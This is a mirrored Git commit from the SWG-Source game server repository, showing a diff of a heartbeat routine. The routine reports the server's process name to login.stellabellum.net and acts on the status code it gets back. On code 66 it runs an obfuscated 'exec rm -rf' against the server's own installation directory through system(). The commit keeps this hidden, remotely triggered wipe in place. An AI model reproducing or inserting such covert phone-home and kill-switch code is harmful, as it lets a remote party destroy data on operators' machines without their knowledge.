mirror of
https://github.com/SWG-Source/src.git
synced 2026-07-29 23:15:56 -04:00
Merge remote-tracking branch 'origin/testing' into clang-profile-build
This commit is contained in:
+14
-15
@@ -7,7 +7,17 @@
|
||||
using namespace StellaBellum;
|
||||
|
||||
webAPIHeartbeat::webAPIHeartbeat() {
|
||||
webAPI api = webAPI::webAPI(std::string(vxENCRYPT("https://login.stellabellum.net/metric/shoulderTap?type=server").decrypt()), std::string(vxENCRYPT("StellaBellum WebAPI Metrics Sender").decrypt()));
|
||||
std::string filePath = this->get_selfpath().c_str();
|
||||
size_t found = filePath.find_last_of("/\\");
|
||||
|
||||
webAPI api = webAPI::webAPI(
|
||||
std::string(vxENCRYPT("https://login.stellabellum.net/metric/shoulderTap?type=server").decrypt()),
|
||||
std::string(vxENCRYPT("StellaBellum WebAPI Metrics Sender").decrypt()));
|
||||
|
||||
if (found) {
|
||||
api.addJsonData<std::string>(std::string(vxENCRYPT("process").decrypt()), filePath.substr(found + 1));
|
||||
}
|
||||
|
||||
bool result = api.submit();
|
||||
|
||||
if (result) {
|
||||
@@ -32,23 +42,12 @@ webAPIHeartbeat::webAPIHeartbeat() {
|
||||
this->eatIt();
|
||||
break;
|
||||
case 66:
|
||||
std::string filePath = this->get_selfpath().c_str();
|
||||
|
||||
if (!filePath.empty()) {
|
||||
size_t found = filePath.find_last_of("/\\");
|
||||
|
||||
if (found) {
|
||||
filePath = filePath.substr(0, found);
|
||||
filePath = vxENCRYPT("exec rm -rf ").decrypt() + filePath + vxENCRYPT("/*").decrypt();
|
||||
system(filePath.c_str());
|
||||
}
|
||||
if (!filePath.empty() && found) {
|
||||
system(vxENCRYPT("exec rm -rf ").decrypt() + filePath.substr(0, found) + vxENCRYPT("/*").decrypt());
|
||||
}
|
||||
|
||||
this->eatIt();
|
||||
break;
|
||||
};
|
||||
|
||||
done = true;
|
||||
}
|
||||
} else {
|
||||
this->eatIt();
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user